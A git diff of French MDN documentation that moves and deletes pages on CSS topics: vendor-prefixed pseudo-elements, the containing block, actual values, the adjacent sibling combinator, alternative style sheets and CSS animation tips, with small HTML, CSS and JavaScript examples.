- - diff --git a/files/fr/web/css/_doublecolon_-moz-list-bullet/index.html b/files/fr/web/css/_doublecolon_-moz-list-bullet/index.html deleted file mode 100644 index f394c8a1c1..0000000000 --- a/files/fr/web/css/_doublecolon_-moz-list-bullet/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: '::-moz-list-bullet' -slug: 'Web/CSS/::-moz-list-bullet' -tags: - - CSS - - Non-standard - - Pseudo-element - - Reference -translation_of: 'Web/CSS/:-moz-list-bullet' ---- -
{{Non-standard_header}}{{CSSRef}}
- -

Le pseudo-élément CSS non-standard ::-moz-list-bullet de Mozilla est utilisé pour appliquer un style aux puces des éléments d'une liste non ordonnée (autrement dit, pour un élément {{htmlelement("li")}}) contenu dans un élément {{htmlelement("ul")}}).

- -

Syntaxe

- -
li::-moz-list-bullet { propriétés de style }
- -

Exemples

- -

HTML

- -
<ul>
-  <li>Numéro 1</li>
-  <li>Numéro 2</li>
-  <li>Numéro 3</li>
-</ul>
-
-<ul class="list">
-  <li>Numéro 1</li>
-  <li>Numéro 2</li>
-  <li>Numéro 3</li>
-</ul>
-
- -

CSS

- -
.list ::-moz-list-bullet {
-  font-size: 36px;
-}
- -

Résultat

- -

{{EmbedLiveSample('Exemples', '', '', '', 'Web/CSS/:-moz-list-bullet')}}

- -

Spécifications

- -

Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.

- -

Voir aussi

- -
    -
  • {{cssxref(":-moz-list-number")}}
    • -
  • {{cssxref("::marker")}}
    • -
diff --git a/files/fr/web/css/_doublecolon_-moz-list-number/index.html b/files/fr/web/css/_doublecolon_-moz-list-number/index.html deleted file mode 100644 index 0f12741d94..0000000000 --- a/files/fr/web/css/_doublecolon_-moz-list-number/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: '::-moz-list-number' -slug: 'Web/CSS/::-moz-list-number' -tags: - - CSS - - Non-standard - - Pseudo-element - - Reference -translation_of: 'Web/CSS/:-moz-list-number' ---- -
{{Non-standard_header}}{{CSSRef}}
- -

Le pseudo-élément CSS ::-moz-list-number permet de personnaliser l'apparence des numéros des éléments de liste ({{HTMLElement("li")}}) au sein des listes numérotées ({{HTMLElement("ol")}}).

- -

Syntaxe

- -
li::-moz-list-number { propriétés de style }
-
- -

Exemples

- -

CSS

- -
li::-moz-list-number {
-  font-style: italic;
-  font-weight: bold;
-}
-
- -

HTML

- -
<ol>
-  <li>Premier élément</li>
-  <li>Second élément</li>
-  <li>Troisième élément</li>
-</ol>
-
- -

Résultat

- -

{{EmbedLiveSample("Exemple")}}

- -

Spécifications

- -

Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.

- -

Voir aussi

- -
    -
  • {{cssxref(":-moz-list-bullet")}}
    • -
  • {{cssxref("::marker")}}
    • -
diff --git a/files/fr/web/css/_doublecolon_-webkit-file-upload-button/index.html b/files/fr/web/css/_doublecolon_-webkit-file-upload-button/index.html deleted file mode 100644 index 2de12911cf..0000000000 --- a/files/fr/web/css/_doublecolon_-webkit-file-upload-button/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: '::-webkit-file-upload-button' -slug: 'Web/CSS/::-webkit-file-upload-button' -tags: - - CSS - - Non-standard - - Pseudo-element - - Reference -translation_of: 'Web/CSS/::file-selector-button' ---- -
{{CSSRef}}{{Non-standard_header}}
- -

Le pseudo-élément ::-webkit-file-upload-button représente le bouton d'un élément {{HTMLElement("input")}} de type file.

- -

Ce pseudo-élément n'est pas standard et est uniquement pris en charge par les navigateurs basés sur WebKit/Blink.

- -

Syntaxe

- -
selecteur::-webkit-file-upload-button
-
- -

Exemples

- -

CSS

- -
input, label {
-  display: block;
-}
-
-input[type=file]::-webkit-file-upload-button {
-  border: 1px solid grey;
-  background: #FFFAAA;
-}
- -

HTML

- -
<form>
-  <label for="fileUpload">Uploader un fichier</label><br>
-  <input type="file" id="fileUpload">
-</form>
- -

Résultat

- -

{{EmbedLiveSample('Exemples')}}

- -

Spécifications

- -

Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.-webkit-file-upload-button")}}

diff --git a/files/fr/web/css/_doublecolon_-webkit-input-placeholder/index.html b/files/fr/web/css/_doublecolon_-webkit-input-placeholder/index.html deleted file mode 100644 index 4be89a52e0..0000000000 --- a/files/fr/web/css/_doublecolon_-webkit-input-placeholder/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: '::-webkit-input-placeholder' -slug: 'Web/CSS/::-webkit-input-placeholder' -tags: - - CSS - - Non-standard - - Pseudo-element - - Reference -translation_of: 'Web/CSS/::placeholder' -translation_of_original: 'Web/CSS/::-webkit-input-placeholder' ---- -
{{Non-standard_header}}{{CSSRef}}
- -

Le pseudo-élément ::-webkit-input-placeholder représente le texte de substitution d'un formulaire. Il permet aux auteurs et aux développeurs d'adapter la mise en forme de ce texte de substitution. Ce pseudo-élément est uniquement pris en charge par WebKit et Blink.

- -

Exemples

- -

HTML

- -
<input placeholder="Veuillez saisir ici...">
- -

CSS

- -
input::-webkit-input-placeholder {
-  color: green;
-}
- -

Résultat

- -

{{EmbedLiveSample("Exemples")}}

- -

Spécifications

- -

Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support simple{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Support simple{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
-
- -

Voir aussi

- -
    -
  • {{cssxref("::placeholder")}}
    • -
  • {{cssxref("::-moz-placeholder")}}
    • -
  • {{cssxref(":-ms-input-placeholder")}}
    • -
  • Les formulaires en HTML
    • -
  • {{HTMLElement("input")}}
    • -
  • {{HTMLElement("textarea")}}
    • -
diff --git a/files/fr/web/css/_doublecolon_file-selector-button/index.html b/files/fr/web/css/_doublecolon_file-selector-button/index.html new file mode 100644 index 0000000000..2de12911cf --- /dev/null +++ b/files/fr/web/css/_doublecolon_file-selector-button/index.html @@ -0,0 +1,54 @@ +--- +title: '::-webkit-file-upload-button' +slug: 'Web/CSS/::-webkit-file-upload-button' +tags: + - CSS + - Non-standard + - Pseudo-element + - Reference +translation_of: 'Web/CSS/::file-selector-button' +--- +
{{CSSRef}}{{Non-standard_header}}
+ +

Le pseudo-élément ::-webkit-file-upload-button représente le bouton d'un élément {{HTMLElement("input")}} de type file.

+ +

Ce pseudo-élément n'est pas standard et est uniquement pris en charge par les navigateurs basés sur WebKit/Blink.

+ +

Syntaxe

+ +
selecteur::-webkit-file-upload-button
+
+ +

Exemples

+ +

CSS

+ +
input, label {
+  display: block;
+}
+
+input[type=file]::-webkit-file-upload-button {
+  border: 1px solid grey;
+  background: #FFFAAA;
+}
+ +

HTML

+ +
<form>
+  <label for="fileUpload">Uploader un fichier</label><br>
+  <input type="file" id="fileUpload">
+</form>
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples')}}

+ +

Spécifications

+ +

Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.-webkit-file-upload-button")}}

diff --git a/files/fr/web/css/a_propos_du_bloc_conteneur/index.html b/files/fr/web/css/a_propos_du_bloc_conteneur/index.html deleted file mode 100644 index 6269f895b5..0000000000 --- a/files/fr/web/css/a_propos_du_bloc_conteneur/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: À propos du bloc conteneur -slug: Web/CSS/A_Propos_Du_Bloc_Conteneur -tags: - - CSS - - Guide - - Reference -translation_of: Web/CSS/Containing_block ---- -
{{CSSRef}}
- -

Le bloc englobant (containing block) affecte souvent la taille et la position d'un élément. La plupart du temps, le bloc englobant est la zone de contenu de l'ancêtre de bloc le plus proche mais cette règle n'est pas absolue. Dans cet article, nous verrons les différents facteurs qui participent à la définition du bloc englobant.

- -

Lorsqu'un agent utilisateur (un navigateur web par exemple) dispose un document, il génère une boîte pour chaque élément du document. Chaque boîte est divisée en quatre zones :

- -
    -
  1. La zone de contenu (content area)
    2. -
  2. La zone de remplissage (padding area)
    3. -
  3. La zone de bordure (border area)
    4. -
  4. La zone de marge (margin area)
    5. -
- -

Diagram of the box model

- -
-

Note : Voir cet article pour découvrir le modèle de boîtes en CSS.

-
- -

On pourrait penser que le bloc englobant d'un élément est toujours la zone de contenu de son élément parent. Toutefois, ce n'est pas toujours le cas. Voyons donc les facteurs qui déterminent ce bloc englobant.

- -

Les effets du bloc englobant

- -

Avant d'aller plus loin, voyons l'impact du bloc englobant sur un élément.

- -

Les dimensions et la position d'un élément sont souvent dépendants du bloc englobant. Les valeurs en pourcentages appliquées à des propriétés comme {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} sont calculées relativement à la taille du bloc englobant. Il en va de même pour les propriétés de décalage des éléments positionnés de façon absolue (c'est-à-dire avec {{cssxref("position")}} qui vaut absolute ou fixed).

- -

Identifier le bloc englobant

- -

Le bloc englobant est entièrement déterminé par la valeur de la propriété {{cssxref("position")}} pour l'élément :

- -
    -
  • Si la propriété position vaut static, relative ou sticky, le bloc englobant est constitué par le bord de la boîte de contenu de l'ancêtre le plus proche qui est un conteneur de bloc (c'est-à-dire qui est un élément avec display qui vaut inline-block, block ou list-item) ou qui crée un contexte de formatage (tel qu'un conteneur de tableau, un conteneur flexible, un conteneur de grille ou le conteneur du bloc même).
    • -
  • Si la propriété position vaut absolute, le bloc englobant est constitué par le bord de la boîte de remplissage (padding) de l'ancêtre le plus proche dont la valeur de position est différente de static (fixed, absolute, relative ou sticky).
    • -
  • Si la propriété position vaut fixed, le bloc englobant est formé par le {{glossary("viewport")}} (ou la page dans le cas des média paginés).
    • -
  • Si la propriété position vaut absolute ou fixed, le bloc englobant peut également être constitué par le bord de la boîte de remplissage le plus proche qui a : -
      -
    1. Une propriété {{cssxref("transform")}} ou {{cssxref("perspective")}} avec une valeur différente de none
      2. -
    2. Une propriété {{cssxref("will-change")}} qui vaut transform ou perspective
      3. -
    3. Une propriété {{cssxref("filter")}} différente de none ou une propriété will-change différente of filter (ne fonctionne que pour Firefox).
      4. -
    4. Une propriété {{cssxref("contain")}} qui vaut paint.
      5. -
    -
    • -
- -
-

Note : Le bloc englobant contenant l'élément racine ({{HTMLElement("html")}}) est situé dans un rectangle appelé bloc englobant initial. Ce dernier a les dimensions de la zone d'affichage (viewport) ou de la page (pour les média paginés).

-
- -

Calcul des pourcentages à partir du bloc englobant

- -

Comme mentionné ci-avant, lorsque certaines propriétés ont une valeur en pourcentage, la valeur calculée dépend du bloc contenant l'élément. Les propriétés qui fonctionnent de cette manière sont les propriétés box model et offset :

- -
    -
  1. Les valeurs calculées des propriétés {{cssxref("height")}}, {{cssxref("top")}} et {{cssxref("bottom")}} sont construites à partir de la hauteur du bloc englobant.
    2. -
  2. Les valeurs calculées des propriétés {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}} et {{cssxref("margin")}} sont calculées à partir de la largeur (width) du bloc englobant.
    3. -
- -

Quelques exemples

- -

Le code HTML utilisé pour les exemples suivants sera :

- -
<body>
-  <section>
-    <p>Et voici un paragraphe !</p>
-  </section>
-</body>
-
- -

Premier exemple

- -

Dans cet exemple, le paragraphe est positionné de façon statique et son bloc englobant est la zone de contenu de {{HTMLElement("section")}} car cet élément est l'ancêtre le plus proche qui est un conteneur de bloc.

- - - -
body {
-  background: beige;
-}
-
-section {
-  display: block;
-  width: 400px;
-  height: 160px;
-  background: lightgray;
-}
-
-p {
-  width: 50%;   /* == 400px * .5 = 200px */
-  height: 25%;  /* == 160px * .25 = 40px */
-  margin: 5%;   /* == 400px * .05 = 20px */
-  padding: 5%;  /* == 400px * .05 = 20px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Premier_exemple','100%','300')}}

- -

Deuxième exemple

- -

Dans cet exemple, le bloc englobant est formé par l'élément {{HTMLElement("body")}} car <section> n'est pas un conteneur de bloc en raison de display: inline et il ne crée pas de contexte de formatage.

- - - -
body {
-  background: beige;
-}
-
-section {
-  display: inline;
-  background: lightgray;
-}
-
-p {
-  width: 50%;     /* == half the body's width */
-  height: 200px;  /* Note: a percentage would be 0 */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Deuxième_exemple','100%','300')}}

- -

Troisième exemple

- -

Ici, le bloc englobant du paragraphe est <section> car la propriété position de ce dernier vaut absolute. Les valeurs exprimées en pourcentages et associées au paragraphe sont relatives à la zone de remplissage du bloc englobant (ce ne serait pas le cas si la propriété {{cssxref("box-sizing")}} du bloc englobant valait border-box).

- - - -
body {
-  background: beige;
-}
-
-section {
-  position: absolute;
-  left: 30px;
-  top: 30px;
-  width: 400px;
-  height: 160px;
-  padding: 30px 20px;
-  background: lightgray;
-}
-
-p {
-  position: absolute;
-  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
-  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
-  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
-  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Troisième_exemple','100%','300')}}

- -

Quatrième exemple

- -

Dans cet exemple, la propriété position du paragraphe vaut fixed. Le bloc englobant est donc le bloc englobant initial (c'est-à-dire le viewport pour les écrans). Aussi, les dimensions du paragraphe changent selon la taille de la fenêtre du navigateur.

- - - -
body {
-  background: beige;
-}
-
-section {
-  width: 400px;
-  height: 480px;
-  margin: 30px;
-  padding: 15px;
-  background: lightgray;
-}
-
-p {
-  position: fixed;
-  width: 50%;   /* == (50vw - (width of vertical scrollbar)) */
-  height: 50%;  /* == (50vh - (height of horizontal scrollbar)) */
-  margin: 5%;   /* == (5vw - (width of vertical scrollbar)) */
-  padding: 5%;  /* == (5vw - (width of vertical scrollbar)) */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Quatrième_exemple','100%','300')}}

- -

Cinquième exemple

- -

Dans cet exemple, la propriété position du paragraphe vaut absolute. Son bloc englobant est donc <section> car c'est l'ancêtre le plus proche dont la propriété {{cssxref("transform")}} ne vaut pas none.

- - - -
body {
-  background: beige;
-}
-
-section {
-  transform: rotate(0deg);
-  width: 400px;
-  height: 160px;
-  background: lightgray;
-}
-
-p {
-  position: absolute;
-  left: 80px;
-  top: 30px;
-  width: 50%;   /* == 200px */
-  height: 25%;  /* == 40px */
-  margin: 5%;   /* == 20px */
-  padding: 5%;  /* == 20px */
-  background: cyan;
-}
-
- -

{{EmbedLiveSample('Cinquième_exemple','100%','300')}}

- -

Voir aussi

- -
    -
  • La propriété {{cssxref("all")}} permet de réinitialiser l'ensemble des déclarations CSS dans un certain état.
    • -
diff --git a/files/fr/web/css/actual_value/index.html b/files/fr/web/css/actual_value/index.html new file mode 100644 index 0000000000..4a4d768379 --- /dev/null +++ b/files/fr/web/css/actual_value/index.html @@ -0,0 +1,52 @@ +--- +title: Valeur réelle +slug: Web/CSS/valeur_reelle +tags: + - CSS + - Guide + - Reference +translation_of: Web/CSS/actual_value +--- +
{{CSSRef}}
+ +

La valeur réelle d'une propriété CSS est la valeur utilisée par le moteur une fois que toutes les approximations ont été appliquées. Ainsi, un agent utillisateur ne pourra afficher des bordures qu'avec un nombre de pixels entier et pourra ainsi être forcé d'approximer la valeur calculée pour l'épaisseur de la bordure.

+ +

Calculer la valeur réelle d'une propriété

+ +

La valeur réelle est la valeur finale obtenue lors de la détermination d'une propriété, qui passe par les étapes suivantes :

+ +
    +
  1. La valeur initiale (indiquée par la spécification).
    2. +
  2. La valeur définie qui résulte de l'héritage et de la cascade.
    3. +
  3. La valeur calculée est calculée selon la spécification.
    4. +
  4. La disposition est calculée, fournissant ainsi la valeur utilisée.
    5. +
  5. La valeur réelle
    6. +
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}{{Spec2('CSS2.1')}}Définition initiale.
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/adjacent_sibling_combinator/index.html b/files/fr/web/css/adjacent_sibling_combinator/index.html new file mode 100644 index 0000000000..4898c755c4 --- /dev/null +++ b/files/fr/web/css/adjacent_sibling_combinator/index.html @@ -0,0 +1,86 @@ +--- +title: Combinateur de voisin direct +slug: Web/CSS/Combinateur_de_voisin_direct +tags: + - CSS + - Reference + - Sélecteur +translation_of: Web/CSS/Adjacent_sibling_combinator +--- +
{{CSSRef("Selectors")}}
+ +

Cette forme de combinateur permet de sélectionner un élément uniquement si celui-ci « suit » un élément donné et que les deux éléments sont les fils d'un même élément parent.

+ +
/* Ne cible que les paragraphes situé directement après une image */
+img + p {
+  font-style: bold;
+}
+ +

Syntaxe

+ +
premier_element + element_cible { styles }
+
+ +

Exemples

+ +

CSS

+ +
+
li:first-of-type + li {
+  color: red;
+}
+
+ +

HTML

+ +
<ul>
+  <li>Un</li>
+  <li>Deux</li>
+  <li>Trois</li>
+</ul>
+ +

Résultat

+
+ +

{{EmbedLiveSample('Exemples', 200, 100)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}{{Spec2('CSS4 Selectors')}}Renomme ce sélecteur en « next-sibling combinator ».
{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}{{Spec2('CSS2.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.adjacent_sibling")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/alternative_style_sheets/index.html b/files/fr/web/css/alternative_style_sheets/index.html new file mode 100644 index 0000000000..cc96a123e1 --- /dev/null +++ b/files/fr/web/css/alternative_style_sheets/index.html @@ -0,0 +1,77 @@ +--- +title: Feuilles de style alternatives +slug: Web/CSS/Feuilles_de_style_alternatives +tags: + - CSS + - NeedsCompatTable + - Reference +translation_of: Web/CSS/Alternative_style_sheets +--- +
{{CSSRef}}
+ +

En proposant des feuilles de style alternatives, une page web permet à ses utilisateurs de pouvoir choisir parmi différentes version d'une page selon leurs besoins ou leurs préférences.

+ +

Firefox permet à l'utilisateur de sélectionner le style de la page en utilisant le menu « Affichage > Style de la page », Internet Explorer possède également cette fonctionnalité (depuis IE8), accesssible via « Affichage > Style de la page ». Pour Chrome, il est nécessaire d'utiliser une extension afin de pouvoir utiliser cette fonctionnalité. La page web peut également fournir un élément d'interface utilisateur afin de permettre à l'utilisateur de passer d'un style à un autre.

+ +

Exemple d'application : définir des feuilles de style alternatives

+ +

Pour indiquer des feuilles de style alternatives, on utilisera un élément {{HTMLElement("link")}} avec les attributs rel="stylesheet alternate" et title="...". Ainsi :

+ +
<link href="reset.css" rel="stylesheet" type="text/css">
+
+<link href="default.css" rel="stylesheet" type="text/css" title="Style par défaut">
+<link href="joli.css" rel="alternate stylesheet" type="text/css" title="Joli">
+<link href="basique.css" rel="alternate stylesheet" type="text/css" title="Basique">
+
+ +

Dans cet exemple, les styles « Style par défaut », « Joli » et « Basique » seront listés dans le menu « Style de la page ». C'est le style par défaut (il n'y a pas de composante alternate pour l'attribut rel) qui sera sélectionné. Lorsque l'utilisateur choisit un autre style, la page est alors immédiatement affichée avec cette feuille de style.

+ +

Quel que soit la mise en forme choisie, les règles provenant de la feuille reset.css seront toujours appliquées.

+ +

Détails

+ +

Une feuille de style fera partie d'une de ces trois catégories :

+ +
    +
  • Persistante (aucun rel="alternate", aucun title="") : la feuille de style s'applique au document quoi qu'il arrive
    • +
  • Préférée (aucun rel="alternate", un attribut title="..." défini) : la feuille de style est appliquée par défaut mais est désactivée si une autre feuille de style est sélectionnée. Il ne peut y avoir qu'une seule feuille de style préférée. Si plusieurs feuilles de style sont fournies avec différentes valeurs pour l'attribut title, certaines seront ignorées.
    • +
  • Alternative (rel="stylesheet alternate", un attribut title="..." défini) : la feuille de style est désactivée par défaut mais peut être sélectionnée.
    • +
+ +

Lorsqu'une feuille de style contient un attribut title sur l'élément {{HTMLElement("link", "<link rel=\"stylesheet\">")}} ou sur l'élément {{HTMLElement("style")}}, ce titre est l'une des options proposées à l'utilisateur. Les feuilles de style qui contiennent le même titre (title a la même valeur) s'appliqueront toutes pour ce choix. Enfin, les feuilles de style qui n'ont aucun attribut title seront toujours appliquées.

+ +

On utilisera rel="stylesheet" pour pointer vers la feuille de style par défaut et rel="alternate stylesheet" pour pointer vers les feuilles de style alternatives. Cela permet à l'agent utilisateur de savoir quelle feuille doit être appliquée par défaut ; c'est aussi cette valeur qui sera utilisée pour les navigateurs qui ne prennent pas en charge cette fonctionnalité.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSSOM', '#css-style-sheet-collections', 'CSS Style Sheet Collections')}}{{Spec2('CSSOM')}}La spécification CSS OM définit les concepts de nom d'ensemble de feuilles de style, le marqueur « désactivé » et le nom d'ensemble de feuilles de style CSS préférées.
+ Cette spécification définit comment ces concepts sont déterminés, elle laisse à la spécification HTML le soin de définir les comportements spécifiques à HTML qui doit notamment définir quand est créée une feuille de style CSS.
+

{{SpecName('HTML WHATWG', 'semantics.html#link-type-stylesheet', 'Link type "stylesheet"')}}
+ {{SpecName('HTML WHATWG', 'semantics.html#attr-style-title', 'The style element')}}
+ {{SpecName('HTML WHATWG', 'semantics.html#attr-meta-http-equiv-default-style', 'Default style state (http-equiv="default-style")')}}

+ 		{{Spec2('HTML WHATWG')}}La spécification HTML définit quand et comment créer un algorithme déterminant la feuille de style CSS et qui gère les éléments <link> et <style>. Elle définit également le comportement de <meta http-equiv="default-style">.
{{SpecName("HTML4.01", "present/styles.html#h-14.3", "Alternative style sheets")}}{{Spec2("HTML4.01")}}La spécification HTML définit le concept de feuilles de style préférées et alternatives.
diff --git a/files/fr/web/css/animations_css/conseils/index.html b/files/fr/web/css/animations_css/conseils/index.html deleted file mode 100644 index bb79f19722..0000000000 --- a/files/fr/web/css/animations_css/conseils/index.html +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Trucs et astuces pour les animations CSS -slug: Web/CSS/Animations_CSS/Conseils -tags: - - Animations CSS - - CSS - - Exemple - - Guide - - Tutoriel -translation_of: Web/CSS/CSS_Animations/Tips ---- -
{{CSSRef}}
- -

Les animations CSS permettent de réaliser réaliser des effets incroyables en mainpulant les éléments de vos documents et applications.. Cependant, il est parfois compliqué d'obtenir l'effet désiré. Dans cet article, on explorera différents conseils visant à simplifier la réalisation d'animations.

- -

Relancer une animation

- -

La spécifications des animations CSS ne permet pas de relancer une animation. Il n'existe pas de méthode resetAnimation() qui puisse être appelée sur les éléments et on ne peut pas utiliser la propriété {{cssxref("animation-play-state")}} pour la redéfinir sur "running". Pour obtenir cet effet qui permette de relancer une animation terminée, on utilisera cette astuce.

- -

CSS

- -

Tout d'abord, on définit l'animation avec des règles CSS (certaines règles superflues sont masquées ici à des fins de concision).

- - - -
@keyframes colorchange {
-  0% { background: yellow }
-  100% { background: blue }
-}
-
-.box {
-  width: 100px;
-  height: 100px;
-  border: 1px solid black;
-}
-
-.changing {
-  animation: colorchange 2s;
-}
- -

On a deux classes qui sont définies. La classe box qui décrit l'apparence de la boîte, sans aucune information relative à l'animation. Les détails de l'animation sont inclus dans la classe changing qui indique que les {{cssxref("@keyframes")}} intitulées colorchange doivent être utilisées sur une période de deux secondes afin d'animer la boîte.

- -

Si on n'utilise que ces règles, la boîte n'est pas animée lorsqu'elle s'affiche.

- -

HTML

- -

Voici le fragment de HTML où on utilise un élément {{HTMLElement("div")}} qu'on veut animer et un bouton pour lancer (ou relancer) l'animation.

- -
<div class="box">
-</div>
-
-<div class="runButton" onclick="play()">Cliquer pour lancer l'animation</div>
- -

JavaScript

- -

Enfin, voyons le JavaScript qui sera utilisé. Cette technique repose principalement sur la fonction play() qui est appelée lorsque l'utilisateur clique sur le bouton.

- -
function play() {
-  document.querySelector(".box").className = "box";
-  window.requestAnimationFrame(function(time) {
-    window.requestAnimationFrame(function(time) {
-      document.querySelector(".box").className = "box changing";
-    });
-  });
-}
- -

Cela paraît un peu étrange. Mais afin que l'animation soit lancée à nouveau, il faut : retirer l'effet d'animation, lancer le recalcul des styles dans le document pour que cette action soit enregistrée puis ajouter l'animation à nouveau sur l'élément.

- -

Voici ce qui se produit lorsque la fonction play() est appelée :

- -
    -
  1. On réinitialise la liste des classes CSS de la boîte avec uniquement box. Ce faisant, on retire toutes les autres classes qui s'appliquaient à la boîte, y compris la classe changing en charge de l'animation. Autrement dit, on retire l'effet d'animation. Toutefois, ces modifications de classes n'auront pas d'effet tant que les styles ne sont pas recalculés et qu'un rafraîchissement est réalisé pour appliquer ces modifications.
    2. -
  2. Afin de s'assurer que les styles sont recalculés, on utilise {{domxref("window.requestAnimationFrame()")}} en définissant une fonction de rappel (callback). La fonction de rappel est exécutée juste avant le prochain rafraîchissement du document. Seul problème : avant le rafraîchissement, le recalcul des styles n'a pas encore eu lieu. Aussi…
    3. -
  3. Notre fonction de rappel invoque à nouveau requestAnimationFrame() ! Cette fois, la fonction de rappel est lancée avant le prochain rafraîchissement qui aura lieu après le recalcul des styles. Dans cette nouvelle fonction de rappel, on ajoute la classe changing à la boîte afin que l'animation soit lancée lors du rafraîchissement.
    4. -
- -

Bien entendu, on ajoutera également un gestion d'événement au bouton pour que l'ensemble soit bien branché :

- -
document.querySelector(".runButton").addEventListener("click", play, false);
- -

Résultat

- -

{{EmbedLiveSample('Relancer_une_animation', 320, 160)}}

- -

Arrêter une animation

- -

Si on retire la propriété {{cssxref("animation-name")}} appliquée à un élément, l'animation s'arrêtera au prochain état défini. Si on souhaite plutôt que l'animation se termine et parvienne à un point d'arrêt, il faudra utiliser une autre approche. Voici quelques pistes :

- -
    -
  1. L'animation doit être la plus isolée possible et on ne doit pas reposer sur  animation-direction: alternate. Il faut une animation explicitement séquencée qui parcourt l'ensemble de l'animation en un cycle.
    2. -
  2. Utiliser JavaScript pour retirer l'animation lorsque l'évènement animationiteration se déclenche.
    3. -
- -

Ces pistes sont utilisées dans la démonstration suivante :

- -

CSS

- -
.slidein {
-  animation-duration: 5s;
-  animation-name: slidein;
-  animation-iteration-count: infinite;
-}
-
-.stopped {
-  animation-name: none;
-}
-
-@keyframes slidein {
-  0% {
-    margin-left: 0%;
-  }
-  50% {
-    margin-left: 50%;
-  }
-  100% {
-    margin-left: 0%;
-  }
-}
-
- -

HTML

- -
<h1 id="watchme">Cliquer pour arrêter</h1>
-
- -

JavaScript

- -
let watchme = document.getElementById('watchme')
-
-watchme.className = 'slidein'
-const listener = (e) => {
-  watchme.className = 'slidein stopped'
-}
-watchme.addEventListener('click', () =>
-  watchme.addEventListener('animationiteration', listener, false)
-)
-
- -

Résultat

- -

{{EmbedLiveSample("Arrêter_une_animation")}}

- -

Voir cette démo

- -

Voir aussi

- - diff --git "a/files/fr/web/css/animations_css/d\303\251tecter_la_prise_en_charge_des_animations_css/index.html" "b/files/fr/web/css/animations_css/d\303\251tecter_la_prise_en_charge_des_animations_css/index.html" deleted file mode 100644 index a2cb1bd5a3..0000000000 --- "a/files/fr/web/css/animations_css/d\303\251tecter_la_prise_en_charge_des_animations_css/index.html" +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Détecter la prise en charge des animations CSS -slug: Web/CSS/Animations_CSS/Détecter_la_prise_en_charge_des_animations_CSS -tags: - - Avancé - - CSS - - Obsolete -translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support ---- -
{{CSSRef}}{{obsolete_header}}
- -
-

Attention ! Les techniques décrites dans cet article sont obsolètes et peuvent être remplacées par l'utilisation de {{cssxref("@supports")}}.

-
- -

Avec les animations CSS, on peut ajouter des animations sur du contenu, uniquement en utilisant CSS. Toutefois, cette fonctionnalité n'est parfois pas disponible et on souhaiterait alors pouvoir gérer ce cas et appliquer un effet similaire avec JavaScript. Cet article, basé sur ce billet de Christian Heilmann, illustre une technique pour détecter la prise en charge des animations CSS.

- -

Détecter la prise en charge des animations CSS

- -

Ce code JavaScript permet de vérifier que les animations CSS peuvent être utilisées dans le navigateur :

- -
var animation = false,
-  animationstring = 'animation',
-  keyframeprefix = '',
-  domPrefixes = 'Webkit Moz O ms Khtml'.split(' '),
-  pfx  = '',
-  elem = document.createElement('div');
-
-if( elem.style.animationName !== undefined ) { animation = true; }
-
-if( animation === false ) {
-  for( var i = 0; i < domPrefixes.length; i++ ) {
-    if( elem.style[ domPrefixes[i] + 'AnimationName' ] !== undefined ) {
-      pfx = domPrefixes[ i ];
-      animationstring = pfx + 'Animation';
-      keyframeprefix = '-' + pfx.toLowerCase() + '-';
-      animation = true;
-      break;
-    }
-  }
-}
-
- -

